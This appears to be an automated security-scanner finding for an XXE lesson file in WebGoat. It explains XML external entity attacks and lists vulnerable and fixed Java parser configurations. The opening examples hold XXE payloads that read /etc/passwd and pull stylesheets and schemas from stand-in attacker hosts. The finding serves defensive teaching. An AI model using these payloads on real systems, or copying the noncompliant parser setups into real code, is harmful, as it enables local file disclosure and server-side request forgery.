XML parsers should not be vulnerable to XXE attacks
Created by: armorcodegithubqa[bot]
XML specification allows the use of entities that can be internal or external (file system /network access ...).
Allowing access to external entities in XML parsing could lead to vulnerabilities like confidential file disclosures or SSRFs.
Example in XML document:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.attacking.com/deleteall"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body></note>
Example in XSL document:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY content SYSTEM "file:/etc/passwd">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template></xsl:stylesheet>
Example in XSD document:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "" [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:import namespace="test" schemaLocation="http://www.attacker.com/evil.xsd"/> <xs:element name="note"> <xs:complexType> <xs:sequence> <xs:element name="to" type="xs:string"/> <xs:element name="from" type="xs:string"/> <xs:element name="heading" type="xs:string"/> <xs:element name="body" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element></xs:schema>
To protect Java XML Parsers from XXE attacks theseproperties have been implemented:
- ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
- ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
- ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
- it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
- or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
Noncompliant Code Examples
DocumentBuilderFactory library:
String xml = "xxe.xml";DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); // NoncompliantDocumentBuilder builder = df.newDocumentBuilder();Document document = builder.parse(new InputSource(xml));DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml";SaxHandler handler = new SaxHandler();SAXParserFactory factory = SAXParserFactory.newInstance();SAXParser parser = factory.newSAXParser(); // Noncompliantparser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // NoncompliantXMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl";String xml = "xxe.xml";TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // NoncompliantTransformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));StringWriter writer = new StringWriter();transformer.transform(new StreamSource(xml), new StreamResult(writer));String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd";StreamSource xsdStreamSource = new StreamSource(xsd);SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // NoncompliantSchema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd";String xml = "xxe.xml";StreamSource xsdStreamSource = new StreamSource(xsd);StreamSource xmlStreamSource = new StreamSource(xml);SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = schemaFactory.newSchema(xsdStreamSource);Validator validator = schema.newValidator(); // NoncompliantStringWriter writer = new StringWriter();validator.validate(xmlStreamSource, new StreamResult(writer));
Dom4j library:
SAXReader xmlReader = new SAXReader(); // Noncompliant by defaultDocument xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Noncompliant by defaultDocument document = builder.build(new File(xml));
Compliant Solution
DocumentBuilderFactory library:
String xml = "xxe.xml";DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliantdf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliantDocumentBuilder builder = df.newDocumentBuilder();Document document = builder.parse(new InputSource(xml));DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml";SaxHandler handler = new SaxHandler();SAXParserFactory factory = SAXParserFactory.newInstance();SAXParser parser = factory.newSAXParser();parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliantparser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliantparser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance();factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliantfactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliantXMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl";String xml = "xxe.xml";TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // ComplianttransformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementationsTransformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));StringWriter writer = new StringWriter();transformer.transform(new StreamSource(xml), new StreamResult(writer));String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd";StreamSource xsdStreamSource = new StreamSource(xsd);SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // CompliantschemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // CompliantSchema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd";String xml = "xxe.xml";StreamSource xsdStreamSource = new StreamSource(xsd);StreamSource xmlStreamSource = new StreamSource(xml);SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = schemaFactory.newSchema(xsdStreamSource);schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");// validators will also inherit of these propertiesValidator validator = schema.newValidator();validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliantvalidator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // CompliantStringWriter writer = new StringWriter();validator.validate(xmlStreamSource, new StreamResult(writer));
For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fixis to disable doctype declarations:
SAXReader xmlReader = new SAXReader();xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // CompliantDocument xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Compliantbuilder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliantbuilder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // CompliantDocument document = builder.build(new File(xml));
See
- OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
- OWASP XXE Prevention Cheat Sheet
- MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
- MITRE, CWE-827 - Improper Control of Document Type Definition
File Path: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java:89
Mitigation: Disable access to external entities in XML parsing.